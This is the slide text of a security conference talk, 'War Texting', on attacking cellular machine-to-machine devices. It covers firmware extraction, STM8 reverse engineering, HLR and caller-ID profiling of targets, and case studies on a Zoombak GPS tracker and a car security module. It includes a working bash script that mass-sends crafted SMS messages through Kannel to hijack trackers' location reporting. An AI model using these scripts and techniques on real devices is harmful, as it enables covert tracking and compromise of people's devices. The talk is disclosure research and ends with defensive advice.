War Texting

Weaponizing Machine 2 Machine

@DonAndrewBailey
donb@isecpartners.com
what is iSEC Partners?
why are we here?

GlowCaps™
light and sound
remind you to take your prescriptions every day
No, really.

- Cellular enabled pill bottles
- Track pill usage remotely
- Email alerts when
  - Pill count is low
  - Pills haven’t been taken
  - When its time to take your pill
Wait. That sounds bad.
But, it’s helping people.

- Alzheimer’s patients
- Children with severe diseases
- Physically disabled patients
- Overworked security consultants
Wait. That sounds good.
Hey, I'm being followed by monkeys!
Everything will be a computer
Examples?

- Medical devices (personal, industrial)
- Industrial monitoring
- Automated Teller Machines
- Industrial/Commercial Alarm Systems
- Home Alarm Systems
- *Car security systems*
I would have owned ATMs, but...
Elegant Attacks Against M2M
Attack methods

- Firmware Over The Air (FOTA)
- Long Range Baseband Compromise
- Access Point Name (APN) Private Network compromise
FOTA Hacking?
FOTA

• A methodology for
  ▫ Devising a firmware patch/update
  ▫ Securely packaging the patch/update
  ▫ Shipping it OTA to be applied
FOTA Attacks

• **Benefits**
  ▫ **Elegant**
  ▫ **Mass compromise of multiple types of devices**
    • Multiple vendors use the same baseband

• **Negatives**
  ▫ **Very chip specific**
  ▫ **Impacts the update lifecycle**
  ▫ **Requires specialized firmware**
  ▫ **Corner cases = potential detection**
  ▫ **FOTA compromise != Application compromise**
  ▫ **FOTA may not be used in specific M2M deployments**
FOTA Conclusion?
MOTIVATION

It's not that I'm lazy, it's that I just don't care.
So you thought baseband attacks were local only, eh?
Long Range Baseband Compromise

- Yep, Basebands have TCP/IP stacks
- Oh, and these too
  - HTTP
  - FTP
  - DNS
  - ICMP
  - TCP client/server
  - UDP client/server
  - POP3
  - SMTP
Long Range Baseband Attacks

• Benefits
  ▫ Elegant
  ▫ Mass persistent compromise
  ▫ Doesn’t mess up firmware updates
  ▫ Backdoors are light weight
  ▫ Potential detection is slim to none

• Negatives
  ▫ Very chip specific
  ▫ Requires zero-day
  ▫ Large time to deployment
  ▫ Target could be Java VM, could be C/C++
Long Range Baseband Conclusion?
APN Private Network Attacks?
APN Private Network Attacks

- **Benefits**
  - None

- **Negatives**
  - Uninteresting
  - Boring
  - Pointless
  - Repetitive
  - The Grugq would laugh at me
You don’t need to see a conclusion for this one.
So, what *should* we do?
Common M2M Example from Microchip

M2M PICtail™ Daughter Board
Find Architectural Commonalities

• Baseband
  ▫ modules must be approved
  ▫ The approved list is public
  ▫ few features
  ▫ can’t drive Application Logic

• Microcontrollers
  ▫ Small RAM
  ▫ Small Code Space (flash)
  ▫ Minimal security surface (if any)
Find Architectural Commonalities

• Communication
  ▫ Network Comm = Baseband
  ▫ Peripheral Comm = uC
  ▫ Comm between Baseband & uC = UART

• Cryptographic Capability
  ▫ Only *some* Basebands provide HTTPS/SSL
    • Usually only Java VM capable
  ▫ uC is usually baked (or non-existent)
Basebands Accept Hayes AT

- For network requests
  - AT+UHTTPC
  - AT^SISS
  - AT^USORF

- For Incoming/Outgoing SMS
  - AT+CMGL
  - AT^SMGL
The Payload *May* Be Encrypted

- If the payload is encrypted
  - Finite ways the Application can generate a key
    - IMSI
    - GSM Timestamp
    - IMEI
    - Static Secret
    - Value from Network (Data or SMS)

- Some applications don’t even encrypt
If encrypted, how do we analyze?
How do we extract it?

- Use datasheet to find pins
  - Don’t have the uC datasheet?
  - Most baseband datasheets are public
- Use multimeter to
  - trace baseband UART -> uC UART
  - Trace VCC, VSS
  - = Now you know 4 pins on your unknown uC
  - Scan leftovers for JTAG/etc
How do we extract it?

- Logic Analyzer
  - Tap the UART pins
  - Find test pads, if available
  - Solder only when necessary (limit damage)

- Most basebands will only talk
  - Async Serial 9600 8N1
  - Async Serial 115200 8N1
  - Process data at both speeds
Next, we reverse.
It’s not always easy

- Difficult to determine crypto keys
- Protocol may be dynamic
- Nonces may get in the way
Some light Hardware Hacking?
Nothing too new

- Simple/Differential Power Analysis
  - Extract keys
- Glitching
  - Extract firmware
  - Bypass fuses to set DEBUG mode
- Blue wire fixes
  - Enable DEBUG mode
- Add/remove resistors
  - Enable DEBUG mode
Revenge (REVerse ENGinEering)

- uC are easy
  - Small code base
  - Predictable vectors
  - Simple opcode architecture
  - Typically *no* MMU (used)
The STM8 example

- **stm8s207xx**
  - 24MHz clock
  - 6KB RAM
  - 128KB Flash
  - 96 assembly instructions
donb@localhost ~/lab/research/st/insdump $ ./stm8dis -i firmware.img -a 0x80
asm="IRET" address="000080" opcodes="80 "
donb@localhost ~/lab/research/st/insdump $ ./stm8dis -i firmware.img -a 0x80 -t
000080 IRET
donb@localhost ~/lab/research/st/insdump $
donb@localhost ~ / lab / research / st / insdump $ ./stm8dis -i firmware.img -a 0x8103
asm="LD A, $5231" address="008103" opcodes="c6 52 31 "
asm="RETF" address="008106" opcodes="87 "
donb@localhost ~ / lab / research / st / insdump $ \\

<table>
<thead>
<tr>
<th>Address</th>
<th>Block</th>
<th>Register label</th>
<th>Register name</th>
<th>Reset status</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x00 5230</td>
<td>UART1_SR</td>
<td></td>
<td>UART1 status register</td>
<td>0xC0</td>
</tr>
<tr>
<td>0x00 5231</td>
<td>UART1_DR</td>
<td></td>
<td>UART1 data register</td>
<td>0xXX</td>
</tr>
</tbody>
</table>
Disassembling & Emulating = Easy

• Few registers (X, Y, PC, SP, A, C)
• Instructions are easy to decode
  ▫ A common bit represents a type of memory access
  ▫ No Store, just Load
• Emulation requirements are minimal
  ▫ Inject interrupts as desired
  ▫ Managing the Clock isn’t complex
  ▫ Simple buffer for UART bytes
Releasable Tools

- GPLv2 License

This week
- STM8 disassembler
- STM8 emulator

At HITB KL
- STM8 SWIM for GoodFET
Point of Reverse Engineering?

• Determine vectors for communication
  ▫ SMS
  ▫ Internet
  ▫ Voice calls

• Extract messages for Comm Channels
• Develop Protocol APIs
With comm channel...

- Identify commands
- Build payloads
- Assess delivery mechanisms

- Essentially: Build a strategy for attack
Building a Fingerprint
Device Profiling

- **Network fingerprint**
  - Which network provider?
  - Is it allocated an MSISDN?
  - Is voice allowed?
  - Is SMS allowed?
  - Caller ID?
  - NPA NXX?
  - HLR?

- **Physical fingerprint**
  - Recognizable SIM
  - Baseband Capabilities
Why Device Profile?

- SMS is Noisy
  - Hundreds of thousands of MSISDN
  - Decrease cost
  - Evade SMS SPAM filters
  - Don’t tip off your Target
Simple Profiling Tools

- Scripts by donb and NickDE!
  - Hello, Carmen Sandiego :)
- Snarf Caller ID
- Scan HLR
- Build MSC databases
# ./findme-cli.php +1720327
FindMe:: attempting to bring up resource RoutoMessaging
FindMe:: HLR.track:: attempting to track via RoutoMessaging
FindMe:: 1720327 [RoutoMessaging] observed msc=, mcc=310, mnc=016, imsi=

# ./whois-cli.php +720327
WhoIs:: CNAM.lookup:: randomizing the E164 list
WhoIs:: CNAM.lookup:: attempting to resolve 720327
warning: CNAM.retrieve:: no result in query for 720327
warning: CNAM.retrieve:: no result in query for 720327
warning: CNAM.retrieve:: no result in query for 720327
WhoIs:: 720327 [CNA] observed cnam=____ VIRGINIA from date=2011-08-02 20:47:32
Quick Example: iPad on AT&T

- Provider?
  - AT&T (MCC: 310, MNC: 410)
- Caller ID?
  - Billable name “BAILEY DON”
- MSISDN & MSC
  - MSC location != NPA NXX
- Voice capability
  - Error
Phew! That’s a lot of stuff!
Overall Strategy?

- Identify target industry
- Build doc library
- Intercept initial command set
- Attack hardware
- Reverse engineer firmware
- Extract commands
- Identify command channels
- Devise network fingerprint
- Attack!
Case Study: Zoombak Tracking Device
Zoombak “Advanced GPS Tracker”

- Sold in over 12,500 stores in USA
- Smart Phone App (iPhone, Android, Blackberry)
- 2x as big as your 6\textsuperscript{th} Generation iPod Nano
- Track your...
  - Car
  - Family
  - Pet
  - Valuables
Zoombak Architecture

- Renesas SH microprocessor
- Cinterion Wireless MC56
- GR-520 GPS Module
Intercept Initial AT Command Set

- Accepts SMS commands
- Uploads data to Internet
- Retrieves IMSI, IMEI, Network Timestamp, etc
- Monitors Base Station Info (RSSI, LAC, CI, etc)
AT^SICS=0,apn,cidagps.t-mobile.com
AT^SICS=0,dns1,"
AT+CGATT=1
AT+CGATT?
AT^SISI=5
AT^SISS=5,srvType,Socket
AT^SISS=5,conId,0
AT^SISS=5,tcpt0T,20
AT^SISO=5
AT^SISI=5
AT^SISO=5
AT^SISW=5,302
POST /zls/zb100/uDLocation HTTP/1.1
Content-Length: 215
loc34-gggh2k1u&DLC&01,05&1&1XXXXXXX09XX:5;2011-07-29T22:59:25Z;11001&11863&310&26
0&0&1&-66"11006&40943&&1&&-73"11001&39102&&1&&-15"11010&12493&&1&&-59"11001&1
1892&&1&&-68"11001&11862&&1&&-91"11010&39093&&1&&-33at^sir=5,1000
at^sir=5,1000
at^sir=5,1000
at^sir=5,897
AT+CCLK?
donb@localhost "~/lab/research/zoombak/revenge $"
Zoombak Communication Channel

- **Comm Vectors**
  - SMS
  - Internet

- **Control Channel**
  - Use SMSsubmit to ship the SMS via Kannel

- **Callbacks**
  - SIM in GSM Modem
Zoombak Network Fingerprint

- HLR
- Caller ID
- Voice capability
- MSC vs. MSISDN
- Specialized SMS
SERVER="%A%5B%00%47"
TARGETS="15556661212 15556661213 15556661214"

KEY="loc-hithere!"
TIMES=4
SLEEP=180

x=1
while [ $x -lt $TIMES ]; do
  x=$((x+1));
  K=`printf "%s%.0d" ${KEY} ${x}`;
  for M in ${TARGETS}; do
    echo "shipping Request Location message to $M as key $K";
    wget "http://127.0.0.1:13013/cgi-bin/sendsms?username=kannel&password=secret&from=12060&to=${M}&udh=%06%05%04%EA%08%1C%6C&text=%67%4F%6E%44%4C%6F%63%61%74%65%00%01%01-%{K}-%00%00%00%00%00{SERVER}%08%00%18%01%40%00%00%00%FF" >/dev/null 2>&1
  done
  sleep $SLEEP
done
Fingerprint Result?

- 72% Success Rate
- Several hundred Zoombak
Zoombak Overall Result?
<table>
<thead>
<tr>
<th>No.</th>
<th>Time</th>
<th>Source</th>
<th>Destination</th>
<th>Protocol</th>
<th>Info</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>0.000000</td>
<td>10.90.0.232</td>
<td>10.90.0.93</td>
<td>TCP</td>
<td>etc-control &gt; oma-ilp [SYN] Seq=0 Win=5840 Len=0 MSS=1460</td>
</tr>
<tr>
<td>2</td>
<td>0.997995</td>
<td>10.90.0.232</td>
<td>10.90.0.93</td>
<td>TCP</td>
<td>etc-control &gt; oma-ilp [SYN, ACK] Seq=0 Ack=1 Win=5840 Len=0</td>
</tr>
<tr>
<td>3</td>
<td>43.659957</td>
<td>10.90.0.232</td>
<td>10.90.0.93</td>
<td>TCP</td>
<td>etc-control &gt; oma-ilp [PSH, ACK] Seq=1 Ack=1 Win=5840 Len=0</td>
</tr>
<tr>
<td>4</td>
<td>5.666010</td>
<td>10.90.0.93</td>
<td>10.90.0.232</td>
<td>TCP</td>
<td>oma-ilp &gt; etc-control [SYN, ACK] Seq=1 Ack=298 Win=6432 Len=0</td>
</tr>
<tr>
<td>5</td>
<td>6.666017</td>
<td>10.90.0.93</td>
<td>10.90.0.232</td>
<td>TCP</td>
<td>oma-ilp &gt; etc-control [PSH, ACK] Seq=1 Ack=298 Win=6432 Len=0</td>
</tr>
<tr>
<td>6</td>
<td>7.666019</td>
<td>10.90.0.93</td>
<td>10.90.0.232</td>
<td>TCP</td>
<td>oma-ilp &gt; etc-control [FIN, ACK] Seq=104 Ack=298 Win=6432 Len=0</td>
</tr>
<tr>
<td>7</td>
<td>8.666021</td>
<td>10.90.0.93</td>
<td>10.90.0.232</td>
<td>TCP</td>
<td>[TCP Retransmission] oma-ilp &gt; etc-control [FIN, PSH, ACK]</td>
</tr>
</tbody>
</table>

- Frame 4: 353 bytes on wire (2824 bits), 353 bytes captured (2824 bits)
- Linux cooked capture
- Internet Protocol, Src: 10.90.0.232 (10.90.0.232), Dst: 10.90.0.93 (10.90.0.93)
- Transmission Control Protocol, Src Port: etc-control (6107), Dst Port: oma-ilp (7276), Seq: 1, Ack: 1, Len: 297
- Data (297 bytes)
  - [Length: 297]
Case Study: Car Security Module
Strategy

- Target industry
- Doc library
- Intercept initial command set
- Attack hardware
- RevEng firmware
- Identify command channels
- Devise network fingerprint
- Attack!
Car Security Overall Result?
Embedded Security is Hard.
Don’t make it harder

- Increase crypto usage
- Ensure APN security
- Use Nonces/Tokens
- Don’t embed IP addresses in SMS ;)
- Don’t push insecure architecture
  - Require PKI/SSL
- Decrease Prices of Security uC
  - Atmel
  - ST
All tools can be downloaded...

- https://wartexting.org/
- Simple Zoombak Scanner
- FindMe HLR/MSC snarfer
- WhoIs Caller ID client
- Soon to come (end of next week)
  - STM8 Disassembler
  - STM8 Emulator
Thanks to...

- iSEC Partners, NCC Group, and Alex Stamos
- Mat Solnik
- Joe Gratz
- Nick DePettrillo
- Mike Ossmann
- Travis Goodspeed
- Patrick McCanna
- Justine Osborne
- Heidi Cuda
- David Munson
- Robot insect image © Mike Libby
“Even if my collar bones crush or crumble.”
- Eminem